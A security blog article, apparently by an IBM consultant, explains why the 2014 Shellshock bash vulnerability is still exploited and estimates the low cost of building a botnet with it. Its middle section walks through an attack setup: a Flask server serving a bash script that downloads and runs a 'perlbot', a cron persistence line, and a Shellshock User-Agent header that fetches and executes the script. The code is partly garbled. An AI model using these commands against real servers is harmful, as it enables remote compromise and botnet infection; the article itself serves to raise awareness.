Cheap Shock: Why Shellshock Is Still a Thing

We have all heard of Shellshock. For those who are not aware, Shellshock is a Linux-targeting vulnerability that was discovered in late 2014 and published as CVE-2014-6271.

The exploit was found within the bourne-again shell (BASH), which was the default command shell on almost every Linux and Unix system back then. It enables attackers to execute commands with super-user privileges remotely.

Bargain Bin for Bad Actors

Since many applications rely on the BASH, the most common attack method is to send a command sequence to the web server to be interpreted with the BASH.

That said, why is Shellshock still in use? The answer is simple: It’s a very cheap attack. Although servers could have been patched for more than two years now, studies have shown that some remain vulnerable.

Attackers need only a server, basic programming skills and access to malware to carry out this type of attack. The level of knowledge and effort required is quite low. Fraudsters can simply launch attacks against hundreds of different IP addresses per minute and wait to hit a vulnerable server by chance. Furthermore, a Shellshock attack can be carried out for the low price of 4.95 euros, or just a little more than $5, a month.

Setting Up a Shellshock Attack

Let’s walk through the setup of an attacking server. First we need a web server to host our malicious code. We could set up our own Apache or lighthttp server. For this example, however, we will use some basic Python code — namely, Python Flask — just to speed up the setup phase of our attacking server.

On the main page, we will return a shell script that we would like to have executed on the target server, so we can always adjust our code without the need to change our attack script:

import flask


def main_site():

return ”’#/bin/bash

curl /perlbot > /usr/local/perlbot
chmod +x /usr/local/perbot

The bash script is simple:

  1. Download the perbot from this server and save it to a certain path.
  2. Make the file executable.
  3. Execute it.

For the sake of persistence, we could add a line to execute our bot after every reboot. For example:

echo ” @reboot /usr/local/perlbot” > /etc/cron.d/daily

Now we need to get the target to execute this BASH script and prepare the statement to exploit the Shellshock vulnerability:

curl -H “User-Agent: () { :; }; curl > ; sh”

Curl will download the BASH script, save it as and execute it afterwards. The final step is to have a downloadable file to add a simple function to our web server:

@app.route(‘/perlbot’, methods=[‘GET’, ‘POST’])
def download(filename):
uploads = os.path.join(current_app.root_path, app.config[‘UPLOAD_FOLDER’])
return send_from_directory(directory=uploads, filename=”perlbot”)

Finally, we are done.

Simple Math

With some more scripting effort, you could easily execute the curl statement against a full network range, or even the whole internet, but it will take a while.

In the end, it is simple math. Statistics show that about 10 percent of all servers are not patched. So let’s say we can attack 1 million servers in six months. That equates to 100,000 bots at a price of 29.70 euros (about $31) — certainly cheap enough to be worth a cybercriminal’s time.

Read the X-Force Research Report: Beware of older cyber attacks

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Joerg Stephan

Security Consultant, IBM

Joerg Stephan is a security consultant with IBM and a former member of an international IBM team of dedicated customer analysts. Before joining IBM in 2014, Joerg evolved through every aspect of IT: from web developer to IT technician, research facility administrator and then a team leader of system administration and CISO in a PCI-DSS certified company.